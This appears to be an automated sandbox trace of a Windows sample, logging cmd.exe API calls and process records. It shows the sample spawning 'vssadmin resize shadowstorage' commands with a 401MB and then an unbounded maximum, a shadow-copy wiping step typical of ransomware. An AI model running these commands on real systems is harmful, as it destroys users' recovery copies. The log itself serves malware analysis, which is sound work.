	[0060.519] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0060.520] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0060.521] ??_V@YAXPAX@Z () returned 0x1
	[0060.521] GetProcessHeap () returned 0x760000
	[0060.521] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xffd6) returned 0x768d50
	[0060.522] GetProcessHeap () returned 0x760000
	[0060.522] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x82) returned 0x767b60
	[0060.522] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0060.522] malloc (_Size=0xffce) returned 0x982610
	[0060.522] ??_V@YAXPAX@Z () returned 0x4ff074
	[0060.522] GetProcessHeap () returned 0x760000
	[0060.575] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x1ffa4) returned 0x778d30
	[0060.577] SetErrorMode (uMode=0x0) returned 0x0
	[0060.577] SetErrorMode (uMode=0x1) returned 0x0
	[0060.577] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x778d38, lpFilePart=0x4ff094 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4ff094*="Desktop") returned 0x17
	[0060.577] SetErrorMode (uMode=0x0) returned 0x1
	[0060.577] GetProcessHeap () returned 0x760000
	[0060.577] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x778d30, Size=0x4a) returned 0x778d30
	[0060.577] GetProcessHeap () returned 0x760000
	[0060.577] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x778d30) returned 0x4a
	[0060.577] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0060.577] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0060.577] GetProcessHeap () returned 0x760000
	[0060.577] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x1b4) returned 0x767bf0
	[0060.577] GetProcessHeap () returned 0x760000
	[0060.578] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x360) returned 0x767db0
	[0060.583] GetProcessHeap () returned 0x760000
	[0060.583] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x767db0, Size=0x1b6) returned 0x767db0
	[0060.583] GetProcessHeap () returned 0x760000
	[0060.583] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x767db0) returned 0x1b6
	[0060.583] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0060.583] GetProcessHeap () returned 0x760000
	[0060.583] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xe0) returned 0x767f70
	[0060.583] GetProcessHeap () returned 0x760000
	[0060.583] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x767f70, Size=0x76) returned 0x767f70
	[0060.583] GetProcessHeap () returned 0x760000
	[0060.583] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x767f70) returned 0x76
	[0060.584] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0060.584] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4fee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4fee20) returned 0xffffffff
	[0060.584] GetLastError () returned 0x2
	[0060.584] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0060.584] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4fee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4fee20) returned 0xffffffff
	[0060.584] GetLastError () returned 0x2
	[0060.585] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0060.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4fee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4fee20) returned 0x767ff0
	[0060.585] GetProcessHeap () returned 0x760000
	[0060.585] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x14) returned 0x768030
	[0060.585] FindClose (in: hFindFile=0x767ff0 | out: hFindFile=0x767ff0) returned 1
	[0060.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x4fee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4fee20) returned 0xffffffff
	[0060.585] GetLastError () returned 0x2
	[0060.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x4fee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4fee20) returned 0x767ff0
	[0060.585] GetProcessHeap () returned 0x760000
	[0060.585] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x768030, Size=0x4) returned 0x768030
	[0060.585] FindClose (in: hFindFile=0x767ff0 | out: hFindFile=0x767ff0) returned 1
	[0060.585] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0060.585] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0060.585] ??_V@YAXPAX@Z () returned 0x1
	[0060.585] GetConsoleTitleW (in: lpConsoleTitle=0x4ff324, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0060.586] InitializeProcThreadAttributeList (in: lpAttributeList=0x4ff250, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x4ff23c | out: lpAttributeList=0x4ff250, lpSize=0x4ff23c) returned 1
	[0060.586] UpdateProcThreadAttribute (in: lpAttributeList=0x4ff250, dwFlags=0x0, Attribute=0x60001, lpValue=0x4ff238, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x4ff250, lpPreviousValue=0x0) returned 1
	[0060.586] GetStartupInfoW (in: lpStartupInfo=0x4ff288 | out: lpStartupInfo=0x4ff288*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0060.586] GetProcessHeap () returned 0x760000
	[0060.586] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x18) returned 0x767ff0
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0060.586] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0060.587] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0060.587] GetProcessHeap () returned 0x760000
	[0060.587] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x767ff0) returned 1
	[0060.587] GetProcessHeap () returned 0x760000
	[0060.587] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xa) returned 0x767ff0
	[0060.587] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0060.588] _get_osfhandle (_FileHandle=1) returned 0x90
	[0060.589] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0060.589] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0060.589] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0060.589] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x4ff1d8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=401MB", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4ff224 | out: lpCommandLine="vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessInformation=0x4ff224*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xd7c, dwThreadId=0x60)) returned 1
	[0060.602] CloseHandle (hObject=0xdc) returned 1
	[0060.602] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0060.602] GetProcessHeap () returned 0x760000
	[0060.602] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x766c48) returned 1
	[0060.602] GetEnvironmentStringsW () returned 0x766c48*
	[0060.602] GetProcessHeap () returned 0x760000
	[0060.602] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb1a) returned 0x764bc0
	[0060.602] FreeEnvironmentStringsA (penv="=") returned 1
	[0060.602] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.135] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x4ff1bc | out: lpExitCode=0x4ff1bc*=0x2) returned 1
	[0062.135] CloseHandle (hObject=0xe0) returned 1
	[0062.135] _vsnwprintf (in: _Buffer=0x4ff2a4, _BufferCount=0x13, _Format="%08X", _ArgList=0x4ff1c4 | out: _Buffer="00000002") returned 8
	[0062.136] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0062.136] GetProcessHeap () returned 0x760000
	[0062.136] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x764bc0) returned 1
	[0062.137] GetEnvironmentStringsW () returned 0x768170*
	[0062.137] GetProcessHeap () returned 0x760000
	[0062.137] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb40) returned 0x764bc0
	[0062.137] FreeEnvironmentStringsA (penv="=") returned 1
	[0062.137] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0062.137] GetProcessHeap () returned 0x760000
	[0062.137] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x764bc0) returned 1
	[0062.137] GetEnvironmentStringsW () returned 0x768170*
	[0062.137] GetProcessHeap () returned 0x760000
	[0062.137] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb40) returned 0x764bc0
	[0062.137] FreeEnvironmentStringsA (penv="=") returned 1
	[0062.137] GetProcessHeap () returned 0x760000
	[0062.137] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x767ff0) returned 1
	[0062.137] DeleteProcThreadAttributeList (in: lpAttributeList=0x4ff250 | out: lpAttributeList=0x4ff250) 
	[0062.137] ??_V@YAXPAX@Z () returned 0x1
	[0062.137] _get_osfhandle (_FileHandle=1) returned 0x90
	[0062.137] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0062.242] _get_osfhandle (_FileHandle=1) returned 0x90
	[0062.242] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0062.336] _get_osfhandle (_FileHandle=1) returned 0x90
	[0062.336] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0062.445] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0062.445] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0062.558] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0062.558] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0062.692] SetConsoleInputExeNameW () returned 0x1
	[0062.692] GetConsoleOutputCP () returned 0x1b5
	[0062.778] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0062.778] SetThreadUILanguage (LangId=0x0) returned 0x3b0409
	[0062.872] exit (_Code=2) 
	[0062.872] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 19
	os_tid = 0xfbc


Process:
	id = "6"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x14eaa000"
	os_pid = "0xecc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x168"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 16
	os_tid = 0xf74


Thread:
	id = 17
	os_tid = 0xf58


Thread:
	id = 18
	os_tid = 0x3fc


Process:
	id = "7"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x7c40000"
	os_pid = "0xd7c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x168"
	cmd_line = "vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 20
	os_tid = 0x60


Thread:
	id = 21
	os_tid = 0x594


Thread:
	id = 22
	os_tid = 0x6bc


Thread:
	id = 23
	os_tid = 0x30c


Thread:
	id = 24
	os_tid = 0x3ec


Process:
	id = "8"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x11a80000"
	os_pid = "0xfb4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 25
	os_tid = 0xf90

	[0063.976] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0063.976] __set_app_type (_Type=0x1) 
	[0063.976] __p__fmode () returned 0x77803c14
	[0063.976] __p__commode () returned 0x778049ec
	[0063.976] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0063.976] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0063.976] _onexit (_Func=0xb88030) returned 0xb88030
	[0063.976] _onexit (_Func=0xb88040) returned 0xb88040
	[0063.977] _onexit (_Func=0xb88050) returned 0xb88050
	[0063.977] _onexit (_Func=0xb88060) returned 0xb88060
	[0063.977] _onexit (_Func=0xb88070) returned 0xb88070
	[0063.977] _onexit (_Func=0xb88080) returned 0xb88080
	[0063.977] GetCurrentThreadId () returned 0xf90
	[0063.977] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf90) returned 0xbc
	[0063.978] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0063.978] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0063.978] SetThreadUILanguage (LangId=0x0) returned 0x2dc0409
	[0064.076] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0064.077] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x9bfaa0 | out: phkResult=0x9bfaa0*=0x0) returned 0x2
	[0064.077] VirtualQuery (in: lpAddress=0x9bfaab, lpBuffer=0x9bfa58, dwLength=0x1c | out: lpBuffer=0x9bfa58*(BaseAddress=0x9bf000, AllocationBase=0x8c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0064.077] VirtualQuery (in: lpAddress=0x8c0000, lpBuffer=0x9bfa58, dwLength=0x1c | out: lpBuffer=0x9bfa58*(BaseAddress=0x8c0000, AllocationBase=0x8c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0064.077] VirtualQuery (in: lpAddress=0x8c1000, lpBuffer=0x9bfa58, dwLength=0x1c | out: lpBuffer=0x9bfa58*(BaseAddress=0x8c1000, AllocationBase=0x8c0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0064.077] VirtualQuery (in: lpAddress=0x8c3000, lpBuffer=0x9bfa58, dwLength=0x1c | out: lpBuffer=0x9bfa58*(BaseAddress=0x8c3000, AllocationBase=0x8c0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0064.077] VirtualQuery (in: lpAddress=0x9c0000, lpBuffer=0x9bfa58, dwLength=0x1c | out: lpBuffer=0x9bfa58*(BaseAddress=0x9c0000, AllocationBase=0x9c0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0064.077] GetConsoleOutputCP () returned 0x1b5
	[0064.184] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0064.185] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0064.185] _get_osfhandle (_FileHandle=1) returned 0x90
	[0064.185] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0064.357] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0064.357] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0064.450] _get_osfhandle (_FileHandle=1) returned 0x90
	[0064.450] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0064.555] _get_osfhandle (_FileHandle=1) returned 0x90
	[0064.555] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0064.747] _get_osfhandle (_FileHandle=1) returned 0x90
	[0064.747] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0064.887] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0064.887] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0064.997] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0064.997] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0065.090] GetEnvironmentStringsW () returned 0x2e74bd0*
	[0065.091] GetProcessHeap () returned 0x2e70000
	[0065.091] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xaca) returned 0x2e756a8
	[0065.091] FreeEnvironmentStringsA (penv="A") returned 1
	[0065.091] GetProcessHeap () returned 0x2e70000
	[0065.091] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x4) returned 0x2e746b0
	[0065.091] GetEnvironmentStringsW () returned 0x2e74bd0*
	[0065.091] GetProcessHeap () returned 0x2e70000
	[0065.091] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xaca) returned 0x2e76180
	[0065.091] FreeEnvironmentStringsA (penv="A") returned 1
	[0065.091] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9be9fc | out: phkResult=0x9be9fc*=0xcc) returned 0x0
